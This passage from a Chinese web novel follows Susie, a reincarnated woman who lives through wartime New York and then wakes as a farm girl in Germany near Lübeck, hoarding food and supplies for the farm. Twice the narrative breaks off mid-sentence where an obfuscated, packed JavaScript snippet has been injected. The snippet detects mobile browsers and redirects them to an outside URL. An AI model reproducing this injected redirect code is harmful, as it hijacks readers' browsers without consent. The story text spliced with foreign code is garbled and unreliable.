伏尔加格勒战役结束了。报道得不多,没多少人关注遥远的、不那么友好的国家的一座城市里外产生了两百万具尸.体——战役双方也同样不关注输赢,因为人都打光了。 苏茜仍然买了瓶白兰地,加在咖啡可可红茶里,做出口感诡异的含酒精暗黑饮料,喝了一天才喝完,完全不会醉,也没有出现暴毙这种让人极度无语的事情。也许酒精在倒入热茶并且持续保温后,挥发了不少?反正苏茜是平安度过了这个情绪波动时间,而且还连续画了五幅战争废墟。 700万最棒的军队现在还有多少有战斗力的还真不好统计,因为那么多仆从国加起来也凑了这么多的军队吧?可,战斗力还是差了一截,甚至意国还是出了名的拖后腿——如果他们保持中立,只要2个师驻守;他们站在同盟国那一方,只要8个师就能解决;他们偏偏加入了轴心国,却需要20个师去支援。 太平洋战争打得非常惨烈,宴会舞会少了很多。现在的士兵们可不是小说里和平时代天天与姑娘们调情的红制服,而是每天都在受伤和死亡。有些人开始准时去教堂,有些人则再也不信神。战争废墟的油画并不那么受欢迎,但因为场景、色彩与报纸照片完全不同,还是卖出了正常的价钱,够大半年的生活费。 再不卖画,苏茜就得卖股票或贵金属来交房租跟吃喝用度。因为战事似乎有些胶着,股市虽然勉强保持平稳,但真不是卖出股票的好时机,尽管她投资的那些公司业绩和股价都还不错。 【日本气球炸.弹袭击】 这样让人惊恐的报道不是造谣,而是真实事情,甚至有妇幼伤亡!东海岸的纽约总体还算平静,但大家也只是不惊慌失措,忧心忡忡是无法避免的。 “你不担心纽约被袭击?” “不是去年报道说有间谍自首了吗?我不担心气球和飞机,真的,欧洲上空已经快被我们的中远程飞机控制了,而日本跟我们隔着太平洋和一个大陆。” “哦,也对!” 电梯里不算朋友的邻居间对话都三句不离战争与伤亡,一如之前的时尚与男人。年轻姑娘们沉寂了不少,有的去念大学了,有的回家乡了,留下的姑娘半数有工作——等战争结束,男人们回来没有工作收入的时候,她们中的很多人会被赶回家当家庭主妇,而不是“恶毒地”抢男人的饭碗。 苏茜对此没有愤懑或同情的情绪。起码这里不但没有混乱的社会、飞涨的物价、紧缺的食物和崩坏的人性,还有社会救济!这个时候去她老家、去打坏没人理的欧洲看看,饿死多少人!还有日本,死于饥饿、核.弹与被迫“殉葬”的平民也有七位数——她也曾是广岛亡魂之一呢,因为当时压根无法动弹,重头来过是最好的选择。 给救助阵亡士兵妻儿的捐款箱塞了张钞票,苏茜继续每周两次的日常采购。鸡胸肉做个肉排没问题,蔬菜看顺眼的每样拿些,水果一天一个不能多吃,淡水鱼和香料还是需要的。东西拎回去,再去唐人街扫一扫,扫出来几坛子黄酒和一床丝棉被子,以及一把银元。渔网修补工具没找到,只能买新的网。小船的话前年一个傍晚买了直接划回岛上。雨衣雨靴要买,至于玻璃大棚,由于现在没有方便自己动手安装的套装,更没有便宜好用的建造工具,所以不考虑。 今年的8月挺热的,气象数据最高不过华氏90度,但城市里午后阳光晒到的路面温度有时能有100度,比郊区热得多。 回去后苏茜在开着空调的餐厅吃了顿午饭。房间里没有空调,大楼不上班的人要么去餐厅要么待电影院。听说大会客厅和各个楼层的小客厅明年会装上空调,还有,装空调的房间会涨房租,而且不是一块两块。 苏茜没打算装空调,岛上夏季白天最高不超过90度、晚上低于80度,相当舒适,何况现在的空调噪音非常感人。其他住单间的住客很多也不想,因为夏季夜晚并不会热得睡不着。 第二天游完泳,吃自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200240|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨天自制的面包加咖啡,苏茜发现楼里欢欣鼓舞。 广岛,核.弹。 “你说战争是不是快要结束了?!”一位女士激动不已地问,她认为那个见鬼的德国战争疯子死的时候自己都没这么高兴! “是的。”苏茜听见自己说。“快了,很快!” “我弟弟现在就在太平洋上,他应该能回来了!”另一个姑娘大声尖叫着。欧洲战场上的很多士兵已经回家了,大家期待另一侧的血腥战场能够早日结束。 唉!老家的战争可还没结束,不过不会有之前那种血淋淋的野蛮屠杀了。苏茜微笑着,回去就开始画战场女性系列,主要是根据报道描述以及一些照片——当然不是伏尔加格勒的场景,她毕竟是在这一边不是吗。 * * * 庆祝战争结束,悼念亡人,然后就是生存问题。 阵亡和残疾的将士,抚恤金并不多甚至有的还没钱拿,如果已婚那么妻子要么靠家族、要么得和最大的孩子一起出去工作。为了正义和荣誉而战的非职业士兵们,带着身体或心理的伤,好不容易活着从战场上回来了,得做什么养活自己和家人呢? 公寓楼门口增加了一位退伍的保安,工作态度挺不错,整天乐呵呵的——他没有因为肤色而被上司、同袍甚至敌人恶劣对待而死,两个同样深肤色的孩子战争期间在母亲的努力下能继续上学,算是混得不错。苏茜大包小包回来时他会帮忙搬东西拿推车,所以苏茜都会心甘情愿给两个硬币的小费。 战争系列的油画,画就只到全部展示卖掉的时候,中东的战争快要打完,亚洲即将出现一个新的,大国。苏茜犹豫了一段时间,还是将题材转到古代文明——博物馆里的故事,尤其是一个个华美器物或古代武器背后的女性,失宠寂寞的皇后、绝望自尽的贵妇、剽悍善战的女战士、冷酷无情的女刺客。 然后,她终于重新买到了糯米、花椒、小米、绿茶、黄酒、酱油、麻油、香醋……虽然油炸臭豆腐这种“美食”就别想了,但绿茶大虾还是可以做一下的——没有龙井,没有河虾仁,就用其他品种的绿茶跟买来的龙虾罐头凑合,多放茶叶,用橄榄油,再配上蔬菜小米粥, 最终味道居然不错。 没完没了的战争,不过只要家里没人在前线,大家该干嘛干嘛,该享受享受。不得不否认,饥饿比大萧条时少了,社会救济、保险跟慈善快速地在完善。苏茜又捐了二十块为单亲家庭孩子们提供面粉和鸡蛋牛奶。顺便说一句,女士们不再去干亲自去贫民窟分发物资的事情,而是直接与机构或是基金会对接。 “……居然又开始涨价!房租又涨了!这个世界怎么了?!” 这叫通货膨胀,正常现象,好几年前就出现了。苏茜面无表情地继续路过,想的是该卖多少股票。她的画一直不温不火,再不卖掉些股票就得卖手头的贵金属了。 不,应该趁着美刀跟贵金属脱钩前买入。她去交易所卖掉一半股票。有意思的是那位交易员居然还没退休。 “你很久没有出现在交易所了。”十几年没动的股票,一口气卖掉,回报率相当惊人——不得不说这位女士选的股票都很好,总额不算多的分红还是其次,最重要的是现在的价格是当初购入的好几倍。 “是的。看到你还在,我真是高兴。之前的经济危机没有影响到你。” “哦,确实有影响,但经历了股灾,我真的什么都能承受。”他之前买的房子前年已经卖掉,换成现在住的一间公寓和另一间用于出租的公寓——大的公寓出租,他这个每次想结婚都会碰到点什么事的单身汉住小公寓就行了,即使底薪不高、佣金也少的可怜男人还是能在纽约生活下去的。 “……” “……” 两人道别,苏茜去银行。看起来挺多的余额,能买的金银真心不多,也就是一个沉重无比的小皮箱,去一下洗手间、换个放着木仓的手袋出来打车,悠然回公寓而不用担心劫盗。 意外和明天,谁也不知道哪一样先来临,所以她选择将身家尽可能放在岛上。 几位年长的女士过世了,还有两位抑郁症女士前后自杀了,苏茜平均一年参加一场葬礼。另外,好几位身体不太好的老太太搬去了隔壁州新建的廉价养老院。她们的财产数额是固定的,但物价涨了,什么都涨了就是收入没有涨,所以她们不得不寻找更便宜的生活地点和医疗方式。 年轻女租客又换了一批,她们都是大学生,有着无与伦比的青春和热情。 “看着这些年轻姑娘们,我觉得自己也年轻了不少。”安娜也要搬去有执业护士跟护士助理的养老院了,她坚持请这位多年的“朋友”吃饭,在父母兄弟都去世、他们的后代变成普通劳工后,她还能维持不错的生活品质,主要靠及时在股灾抽身并且买了好股票。“苏茜,这些年真的很感谢你的帮助。” “没事,你要多保重身体,经常运动。”苏茜举了举果汁。安娜的健康状况和经济状况都不适合饮酒。 “确实,好像是很有用!你每天游泳那么久,其他人包括我都受不了。可现在,你看上去比我年轻二十岁。”安娜只是感慨,并不羡慕。她肯定做不到每天那么可怕的运动量。 “那就控制饮食,多吃蔬菜和乳制品,不喝酒不抽烟。肉类也不要多吃。”她的脸型身材和健康状况四十年如一日,而安娜已经变形得不能看、且一身的大小毛病。 “……真严格!”她已经因为肺部问题不得不放弃了烟草,回头再看苏茜比清教徒还要严苛的生活态度,一时很难判断哪种方式更好。 苏茜很清楚自己的状态小半靠运动练武、大半靠修炼冥想,也无法提出更多建设性的意见。只能祝福对方一切顺利。 “我到了就给你打电话!” “好的。” 二十多平米的单人卫浴房间里装了固定电话和空调,还换掉了一套老旧家具,当然房租也“更新”了。 四年后,白银涨了两倍但仍然有大量买入投机资金,而黄金涨了四倍。 苏茜果断卖掉“区区”几块金子,将一半款项继续买入投资银。然后眼看着银价不断攀升,去掉税收和通货膨胀仍然够她生活到100岁时,一股脑全部卖掉。之后银价又继续涨到了一个不可思议的价格后,直接跳水。 这次没有搞出来跳楼成风,但有不少人破产是真的。 苏茜计算了下价格,将股票全部卖出——那位交易员早已退休——重新买入一些包装很好的投资贵金属块,还买了不少密封金属罐用来收藏史书、银、木仓支弹.药、糖、压缩饼干和通心粉等等。 安娜等老朋友早已过世,她几乎是公寓楼里“资历”最老的一位租客。 “对,我从这家‘饭店’开业不久就住进来,直到现在……哦,你也知道当时社会对两性的看法,其实几十年前就不一样了,所以他们要改变的话,我不会反对什么。只要房租不要突然翻几倍,我会一直住下去,这是肯定的……” 苏茜微笑着,用一张根本看不出已经80多岁的面孔对记者说,她仍然保持每天游泳的锻炼习惯。顺便说一句,她是不会买下所住公寓的,因为根本“带不走”,不是吗? 58.我在另一边(一) “苏珊妮?快点,你祖母在那边!” “好的。” 苏茜有丰富的防空设施经验,专业的到自制的。但这是第一次在轴心国的防空洞里躲避同盟国的炸.弹! 刚才有一瞬间,她这个骨子里的哥萨克很想迎上炸.弹! 可惜轰.炸机早就飞走了。 “你乱跑什么?!”老太太语气很严厉,但紧紧抓着外孙女不放。但北部的口音其实挺好听,这可能跟她的丹麦血统有关。 “我在看飞机,已经飞过去了。我们住的房子没事。”她背的通史里没有提到吕城,所以应该“不算”严重,跟全毁的柏林完全不是一个等级的。 “等警报解除再说!”外孙女用了住的房子而不是家,她们家在乡下,这里是她前任儿媳家的房子,她们这次就是来参加前儿媳再婚婚礼的——所以那房子其实炸了也无所谓,跟她们半点关系也没有。 “好的。”苏茜乖乖坐下。婚礼的新娘和近亲应该是在丈夫家附近的防空洞,不在这里。顺便说一句,她的亲生父亲和舅舅都阵亡了,母亲则在战地医院当护士,前舅母就是这次的新娘。 但很快的,平静被打破,又是一波轰.炸。连儿童都在大人的严厉与周围气氛下,很安静地睁大眼睛等待命运。本土之前从未被成体系轰.炸过——现在只是刚开始。 苏茜一晚上没打瞌睡,她在思考各种问题,比如未来的紧缺问题,比如强制服役问题,比如学校——她就读的又不是什么城市里的好学校,现在严重缺理科老师,之前一位教英语的女教师因为结婚回家之后连外语课都没了,估计干脆停课吧,那种纳.粹洗脑和家政教育上不上无所谓,不停课她也不去了! 凌晨时,警报解除,苏茜几乎是第一个跳出去。她们住过的那栋房子少了一面外墙,跟其他一些房子大概被燃烧.弹扔中烧成黑色框架比起来可太好了!她跟外祖母招呼一下,飞快奔去抢救自己的行李。嗯,绕道的时候将厨房里几袋没有打开的面粉火速放岛上,还有些昨天早晨的吃食拿上二楼客房。 老太太心惊胆战地看着唯二的血亲——她的儿子没有留下孩子就死了,女婿也死了,媳妇改嫁了,就剩下女儿和外孙女——在无遮无挡的半残楼道房间中扛着东西穿梭,快吓死了。 好在她们来时用的马匹只是受了惊,没有被炸死。 不过,那马年纪不小了,苏茜觉得它可能撑不到战后。其他年轻力壮的马匹都被征用,包括田里工作的雇农,现在地里干活的只有一匹老马和十几个孩子,两个中年妇人,还有老祖母索菲-冯德贝格这位地主,耕种着七八顷的土地——如果五十年后,这叫小农场,而现在没有农机、没有劳动力的情况下,会活活累死的吧?! 老马已经不可能拉一堆东西和两个人。来的时候对方有汽车来接老太太——新婚丈夫年纪虽然大了些,但颇有本事。马车是苏茜带来的,因为回程的时候不一定能有车,这不是推辞,而是事实情况。现在什么都不宽裕,连蜂蜜蛋糕都要凭配给卡买,巧克力基本上从日常清单里划掉了。 城里走到自家农庄七八公里路。好在老马不需要赶,跟着主人的脚步回家就行。 索菲沉默了一路,路上还有一处轰.炸的痕迹。 “我们以后还会被轰.炸吗?”她坐在简陋的车上自言自语。小的时候她也过过一段时间的贵族生活,之后每况愈下,现在直接是缩在木板上,裹着旧披肩畏惧着燃烧.弹…… 这不是废话嘛!苏茜想了下,道,“我们的房子太小、土地也太寒酸,应该不会被炸到吧。” 对了,现在她得回想这里到底是东边还是西边?东边的话,身为有贵族血统的小地主很可能也在被针对的行列。西边的话,估计还能维持生存而不至于饿得吃老鼠。 她回去就把屋前屋后的一些花草全部改为蔬菜和土豆!农场里的小麦不能改,这个是主粮。既然岛上那些种植箱还没有都烂掉,所以尽可能也种上土豆吧!另外,密封罐子里的东西该扔的已经扔掉了,换今年的新粮食装进去!家里也得有秘密存粮,起码保证三位女性不会因为饥饿导致健康问题,而其他人不会饿死。 之外就是取暖和财不露白问题。她知道这个倒霉的国家战后因为寒冷饥饿而死了很多人,以及大量社会问题。仍然是那句话,双方高尚的军人都打没了,余下的男人们……难评。 两天一晚没睡的苏茜,昨天下午到现在只吃了些残羹冷炙,体力脑力大量消耗,到了真正自己家的那栋二层半大屋,艰难地爬上自己的阁楼一头栽倒。 “让苏珊妮好好睡。”索菲对自家的雇工汉娜道。她们可雇不起佣人,但是农场需要不少劳动力不是吗。 “好的,索菲。”汉娜其实算是老太太的贴身女佣。这里的雇工原来都是冯德贝格家的佣人或佃农家庭,上一次大战时就损失不少人手、包括老主人,好不容易通过参军和卖地缓过一口气,又来一次大战、损失了包括男主人在内的一堆人,甚至一名妇人去当辅助兵也死于战场。这次她们即使想卖地过日子也不行了,因为根本卖不掉,也不敢卖:卖了地,成年人就都要去服役换取供给,只剩下老人小孩无处吃饭安身。 “唉……不知道今年收成怎么样。”经历太多的索菲既是自言自语,又是问句。 “这次我们要不要多留些口粮?” “要的,播种的时候眼看着没什么人手!”可是不卖掉或交换粮食就没有衣服和乳制品以及肉类!农场上不少孩子都在长身体,他们的农场“户口”无法获得足额的全脂牛奶配给,还没有足够的冬衣穿。不过,在听说吕城被炸之后,大家的心思立刻转为担忧自己的地方被炸而流浪街头最后冻饿而亡…… 两个上了年纪的妇人说着自己都不知道有没有希望的话,吃完午饭,给苏茜留了几片肉和面包。 苏茜其实只补眠了两个小时,还有一个小时去岛上收拾地窖、山洞和石屋里的东西。煤,她有不少,家里也用煤,农场的小山头还有杂树林,树苗都是主家种的,农夫们往往砍树取暖以省钱。她回想着城里商店和配给证,以及农场总共四十口人——算上了按概率可能活着从战场回来的人数——未来大概五到七年的需求。有些是配给的,有些不需要,起码现在不需要。 所以得趁现在。尤其是她得出掉一些贵金属才能换现在通用的、已经通货膨胀的马克,因为家里肯定不同意把钱都花光的。 傍晚的时候,城里来人通知,除了面粉等日常必需品,禁止将东西运往城里被炸的地方贩卖,抓住要处罚。这种命令简直莫名其妙!大家表面上都遵守,私下就开始种种猜测。最多的猜测是有一批党.卫.军高层参与倒卖,强迫受到轰.炸的居民高价买东西。 那群疯子什么都做得出来。 苏茜懒得参与猜测讨论,在收获农忙季节之前骑着自行车四处跑。有的是帮大家采购运货的名义,有的是看望生病的同学,有的是给家里买东西。不能去吕城也就是带来点小损失,毕竟镇子上以及煤店种子肥料店服装店食品店等等一点事没有。 首先包得认不出来去隔壁镇子卖掉金饰,她之前在纽约金价下跌的时候买了不少足金饰品。 再去远些的店里买了不少种子、化肥和煤,还买了一堆衣物,从棉衣棉布到皮鞋皮帽披肩毯子,先暂存岛上。 此外,在目前还没有彻底限制消费品时囤积战略生存物资,压缩饼干和罐头奶酪虽然限量,但多花点钱还是可以直接买到的。 她对战争和战后的情况太熟悉了,食物和取暖,以及保护自己的武器。最后一样农场里并不缺,□□和镰刀,加上岛上还能用的木仓弹,足够她干掉一小波歹徒。四十个人的食物、取暖,以及可以想见的种子和肥料问题才是关键。这么多人不可能去城里排队领粮,必须自给自足。 所以她又找了个更远的镇子,花出去五条造型漂亮、分量十足的钻石吊坠足金项链——钻石是培育钻石,特意不到半克拉的那种,避免出现严重纠纷事件,后来找的纽约珠宝店加工——将能用钱买而不需要配给证或走关系、看上去又比较合理的生活物资全部买了。包括茶叶咖啡烟熏鲱鱼这种不是那么必需的,能买也都买了。生存物资是四十个人的,生活物资是三口人的。 “苏珊妮,你买小鸡回来干嘛?”汉娜看稀奇。一会儿把花挖了种土豆,一会儿又带回来几箱小鸡!好像不上学以后这娃就在地里撒起欢来了,天天晒得发红发黑。 “吃。总是吃隔壁的猪脚和炸猪排,换换口味。”因为谁也不知道隔壁养猪场会不会哪天断供,就跟不知道哪天突然会买不到种子化肥一样。 “……” * * * 往年收割的时间都是由农场里最老成的一位大叔定的,可他去了战场,杳无音讯。女主人索菲这么多年也没有学到太多农业知识,苏茜的老妈露西娅更不知道、何况她一直在当护士。 苏茜懂,不过她没有太表现,只是在女人们叽叽喳喳说着各种“经验之谈”时仔细观察,又选不同地块的麦粒剥开碾了看看蜡质,又尝一下硬度,再看看天边什么都看不出来的云朵。天气预报今明两天不下雨,但三天后就不知道了。 “我们明天收割。”她站尽快收割那一派。 “好啊好啊!”她们也是这个意见。 “行。”地主孙女确定了的话大家就做,损失与否跟她们无关。 镰刀在手,苏茜结合自己的记忆和身体的反应,迅速调整肌肉,干活的速度一点不比壮年妇人差。 感谢这个年代没多少农机,种子也一般,劳动量不是令人绝望。何况农场面积是连房子、菜田、晒场等在内的,真正播种收获的面积没有想象的那么可怕,“也就是”收割了十天,第一天的麦粒已经由半大孩子脱离晒得差不多了。 谢天谢地没下雨。 农场里全部人口,从残疾到五岁孩子,全部上阵干活,总算没有多大损失,至于掉在地里的麦粒之类是没人有力气去解决了。 “苏珊妮,亲爱的,你这段时间很累。”索菲都没法维持表面的清淡,按摩着外孙女的手臂。她一个人拼了命干了大半顷地,比其他所有人都干得多! “没事,奶奶,天气预报说近期可能要下雨!我们要抓紧。”苏茜很清楚要如何应对酸痛僵硬的肌肉。好在自己掌握得好,没有受伤。“粮仓都准备好了吧?!” “是的。” 老式电话铃响了。 露西娅匆匆忙忙在上司办公室打电话回来说赶紧收割。 “放心,苏珊妮非常、非常能干,我们已经都收完了,等天气好转继续晒。” “好的,我很好,大家都平安就好。” 对面迅速挂上电话,换其他人打电话回家。 苏茜没有跟母亲说上话。上一次通话是吕城被炸后,一说没有人员财产损失就挂了。这次是下雨。 预报不太准,可能这里更靠海,结果雨并没有下下来。但天气阴沉沉的并不好。 老人小孩都非常认真地翻晒着麦粒。苏茜则是处理秸秆以及骑车出去联系,而且每天都准时听天气预报。 今年养牛场虽然有牛车、但来运秸秆的人手太少,实验性质的沼气池距离太远送过去不便。所以苏茜直接在地里将一堆堆秸秆点火烧成灰,翻在地里,顺便偷渡些回自己岛上种土豆和小麦——尽管不环保,但现在谁管那么多啊! 索菲表示虽然看不明白,但这样做反正有利无害,也就随她去了。因为劳动力严重不足,老太太今年是一辈子头一次亲自下地做农活,并且非常庆幸自己也做了,不然碰到下雨搞不好就会想邻居农场那样出现损失。 城里报纸说,之前城市管理长官私自扣下赈济被炸地区的物资并且高价倒卖,将处以死刑。苏茜一笑了之,扭头跑去农会死缠烂打要求要么卖要么借脱壳机和磨粉机,或者现在就去拉走没脱壳的麦粒。 最后农会找来半旧机器,也就是比国民收音机贵不了多少的淘汰品价格卖给她——不需要配给的那种!于是她租了辆卡车,无证驾驶拉回来两台机器。谢天谢地现在还是有电力的,但是犁地——现在和未来都是大问题! 颗粒归仓之前就下过一场雨,等苏茜她们用马车拉了两批麦粉去卖给收粮店之后又下了场雨。 “这粮食的收购价真是……”索菲低声嘀咕着。 “剩下的麦子我们不卖,去换东西。反正住在家里,不需要花什么钱。”苏茜安慰着老人。她还扣下了不少干燥的植株颗粒,连同买的种子一起装进自己的密封罐子。在霍大上课的时候,一位老师曾经提过一嘴,就是战后那几年土地、种子和肥料的问题导致大家挨饿,更不要说除草剂、农机、劳动力等等。“不过今年播种的犁地机不一定能到位。” 索菲惊愕地睁大了眼。现在翻地都没有机器,都是人工在一点点做,连犁地都没机器用了吗? “是的,刚听来的消息。”农机都旧了,而且缺燃料、缺维修。加上她们的地块太小,没人理会——大的地块就不会出现女主人这个名词了,因为都是贵族直系后裔,是限定男性继承的,她们这种旁支 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“放心,我不想当床垫。”十四五的女生,不是小娃娃了,有什么不知道啊?何况她只是冒充小孩。 “……你知道就好。”呃,两位上了年纪的女士也不知道那个“女团”名声居然已经成这样了。 “放心吧,大部分的男孩子打不过我,即使打成重伤也没人会管。”苏茜再次重申,并且展示了下肱二头肌,想占女孩子便宜却被对方打伤的男孩是没人会同情的,只要不打死就随便揍。 “……”更不放心了怎么办?!索菲其实还带着些老派作风、觉得淑女就得有淑女的样子,但战争、儿子、女婿、女儿、前儿媳的经历已经让她学会了转变脑筋。何况,农场确实需要外孙女这样的能顶事、能决策、能干活的领导者——女婿本来也是她选的最出色的年轻农民、好在儿子不在的时候领导农场,结果都没了。 …… 天气转凉。这里的夏季比纽约更加凉快,自然冬天只会更冷。苏茜买的那批小鸡死了几只,但其他的都好好的。苏茜挑了只小公鸡宰了跟胡萝卜土豆洋葱一起炖,她偷偷加了点保存至今的黄酒,又加了一堆屋后种的熊葱,因此味道挺不错。索菲还叫了汉娜的女儿一起,四个女人将一锅鸡和一大盘煎鸡蛋液面包片全部吃光。橄榄油今年供应充足,所以苏茜买了一大堆,但拿到明面上的并不多。 索菲是个大方的地主,为每个十二岁以下的孩子争取到全脂牛奶,不仅跟养猪场交换肉类免费加餐,还让大家用自己的木头烤炉和机器电力烤没有杂质的面包,而配给的面包、香烟则是换了黄油等,导致农场不赚什么钱——在索菲的经历里,赚了钱甚至会更糟——也因此孩子们的母亲都对她非常敬重,大家的忠诚度极高。 土豆成熟了,收获了近两百公斤。其实雇农们自己也种土豆给冬季加餐,但都不像苏茜这样“大规模”种植。 “我们要不要也种土豆?”索菲若有所思。吕城又被炸了一次,让她回忆起上一次大战失败后的恶性通货膨胀。当时她家本来总共有几十顷地,为了生存跟儿子在军官学校的费用,不得不卖掉大块最好的平地,还将女儿低嫁,现在只留下不那么好的小块土地。若是再来一次……她大概会无视教义而自杀! 苏茜没有外祖母的切身体会,但这个国家早年的几次战争她都知道甚至亲身经历——就是站的角度不同罢了。虽然这次的角度实在是让她有些难以接受,因为现在正是伏尔加格勒内外堆满尸.体的时节,但如果不认真活下去,很难说下一回会碰到什么更糟糕的情形。 收音机里是节节胜利的“喜讯”,可能确实是,但快了。她叹息着,准备出门搞机器。 “你们怎么这么早就开始犁地?”本地种土豆的比较多,种麦的少,所以农机很好租。 “抢不过别人。我还弄了几个手工犁,等正式播种前,人工再翻一次,会省力很多。” “行吧。”多赚钱谁不乐意。 两天功夫,不大的土地都深犁了一遍。如果是人工,得所有人干上十来天。 “机器真是好用!”所有人感慨。 可如果没了燃料和机器,没有筛选好的种子和化肥,产量能砍半。 因此,明年得种一半土豆。苏茜想着,回去继续捣鼓收掉土豆后的地块,用自己定制的新式犁翻地然后种了一茬可以过冬的甘蓝,不同品种的甘蓝一层层地种,还有那么点观赏性。 麦种她是按两年的需求买的。家里给了一年的种子钱,其他都是她卖贵金属换来的。 岛上的土豆也收获了,产量个头品质当然比屋后的差。放地窖里,然后松土加肥,种上冬小麦。这要不是怕饥荒,她真不会用种植箱种小麦的事。 而现实里,轰轰烈烈的播种开始。 “这个犁还是挺好用的。来回三次就足够了。”雇农们反馈。 苏茜自己在用,当然知道。她是田地带头人,所以也是第一个冲出来搞牛粪土肥的。两个月前就弄了,理由是省钱。看得其他妇人孩子们目瞪口呆之余也得硬着头皮上,现在也是她带头示范施肥,大家一起跟着。 索菲嗅着不是十分美妙的气味,差点哭出来。外孙女现在成了地地道道的农女,但她一点办法也没有。 “奶奶,自然肥料比化学肥料好。” “我知道。”老法子也是这样做的,但是……她知道,化肥不好买了。 “我只是履行地主的职责。不这样做,将来土地就会强行由一个不认识男亲戚继承,我会不甘心的!”这是假话,马上这种封建做法连同柏林都会被打成渣渣。谢天谢地,她不是在柏林城里清醒过来。 “……”似乎,也对?被带歪了的索菲突然想起来继承这件事。当初选前女婿,不就是看中他很能干又没有亲族来抢财产。现在农场其实还在她和前夫名下呢! 59.我在另一边(二) 苏茜其实已经屯了足够三年用的化肥,但只拿出来五分之一,其他都用牛粪、秸秆、煤渣、灰烬等做的土肥代替。至于不多的鸡粪,都在岛上沤肥用了——只能说,吃不到虫的鸡粪可能气味还稍微好些。 露西娅在父亲过世前就已经习惯了过节省的生活,所以她的不少补贴都是给家里的。索菲手里除了少许残存的嫁妆,还有两代男主人真心不多的抚恤,但她家因此地位颇高,没有人会去欺负没什么钱的两代年长寡妇——这个国家到处是寡妇,如果普遍受欺负是会动摇整个战争机器的。 播种后不久,农场里居然同时有两户雇农收到男主人的阵亡通知,以及比苏茜的父亲少得多的抚恤。 苏茜亲自烤了好吃的黄油面包送过去。其他有丈夫或父亲或儿子在战场上家庭更加焦虑。但谁也不会因此怨恨谁,因为农场主自己就是寡妇,甚至连儿子都没有。 而,最麻烦的是,另一户雇农刚满16周岁的大儿子收到入伍通知以及全套军服,三天后就走。就是通知,没有余地。敢跑路的话,抓住就是死刑,直系家属则关进劳动集中营。 露西娅圣诞节都没有回来,她被调走去前线。 整个圣诞新年,农场里除了多分些肉,完全没有喜庆的气氛。 “奶奶,我的出生月份是几月?” “你过生日自己忘记了?!” “不,我是说证件上的时间。” 索菲匆匆忙忙跑回一楼的小书房看文件,回来道,“明年三月你满15岁。怎么了?你听到什么了?!” 苏茜闭了闭眼,“奶奶,我也是有可能被征召服役的。不过你放心,轮不到我上战场,生命是可以保证的。所以我建议今年开始不要卖掉粮食,并且改种土豆。” 索菲血液都凉了,怔愣半晌才点头,“你妈妈也没事,吃饭穿衣也不愁。我不担心。” 苏茜决定如果自己真的应召,就将一些首饰用反打劫所得的名义给老太太,同时将家里地窖填满土豆、化肥、棉衣和煤块! …… 吕城再次被炸的时候,其他城市也在被炸。甚至镇上两座大楼和周边建筑也烧没了,死伤十几个。农场没有影响,估计是房子太低矮破旧,引不起飞行员的注意。 电力暂时没有受影响。苏茜有老旧的现代发电机,但无法拿出来,不过她还是拆了所有英文标签铭牌,说不定什么时候可以用上。就是不知道密封存放了超过二十年的柴油和汽油能不能用,毕竟有电的话浇灌会好很多,不然人工浇地真是够呛。 初春的时候,露西娅又打电话。她调到意国边境那边。苏茜松口气,只要不是东线就行,因为她很清楚后期的苏军很多本身是罪犯,加之几乎人人都有亲友战死或饿死,那种怨恨会导致各种非人道的状况……也只能如此庆幸了! 她开始犁地,准备种土豆和蔬菜。这次索菲同意将所有能用的地都种吃的而不是种花,但已经种下的树木是不能随便砍的,为此家里对雇农家用煤相当大方。另外就是,每个孩子还得到一件苏茜送的成人版厚棉衣。 一位机灵的母亲惊恐地望向她,她也坚定回望。 “别多说。有比没有好。”身上温暖以及肚子里有食物,人就有活下去的指望。 “……好的,苏珊妮。”这个时期,说多了会死人的。 好不容易到了收获季节,大家的兴致并不高,干活更是缺乏愉快的心情,只是机械地工作干活。 幸而这次没有碰到下雨之类,算是顺利地干燥磨粉卖掉。换的钱还是只有那么点,刚够种子和化肥——一因为只有部分土地用化肥,所以还能剩下点多买几条羊毛裤…… 家里也已经不喝咖啡了,更不要说烟酒,配给的非必需品也都换了别的食物。另外,因为租借不到机器,苏茜当机立断用手工犁翻地,并且立刻在一部分土地上种下土豆,同时将去年家里及岛上存着的麦粒全部脱壳磨成面粉,连同布料和咸肉等一起作为工钱和加班费发给雇农。至于今年剩下没卖的麦子,一部分放粮仓,一部分放地窖,其他则在翻晒后放到岛上,而岛上收的一点点不够塞牙缝的小麦也是烘干水分后一起收起来。 由于都是苏茜自己亲力亲为,所以倒来倒去的没人知道具体数字。岛上的密封罐都装满了面粉和种子,地窖半满、全部是土豆,但四十个人吃几年是不够的。所以她的种植箱现在全部是土豆。 在各种都减少的情况下,高产的土豆将成为救命粮,五六个土豆再加点别的就能凑合过一天。 宁愿浪费也不能饿着,何况据她所知,战后三年才解决饥饿问题。 【……我们即将赢得伟大的胜利……】 收音机里天天都是让人迷惑的捷报。但苏茜知道这边在东线已经战死被俘两百万,而且开始转攻为守——当地军民损失的人数翻了好几倍,是极为可怕的数字。 农场里又接到一份阵亡通知。大家无力安慰别人,最多默默送点吃食,因为几乎每家都有服役的。无法挽救的残疾士兵是有可能被医生“正当”弄死的,这一点苏茜比别人都清楚。从某种程度上说,这个时候严重残疾确实是生不如死。 可是地还得继续种下去,因为大家要吃饭,说不定筋疲力尽从战场上活着回来的人一时半会无法找到其他吃的,只能靠农场存量生存。战后的美.军士兵没有工作养活自己和妻儿,而这里可能是没有土豆吃而饿死。当然,东线另一个城市彼得堡,在围城战中饿死了百万人,比伏尔加格勒更悲惨。 远东饿死的更多…… 苏茜深吸口气,她现在在吕城,轴心国,等待战败的消息,或者说等待盟军的到来,因为后者可能更早些。但在此之前,她要将所有能藏起来的粮食都藏起来。 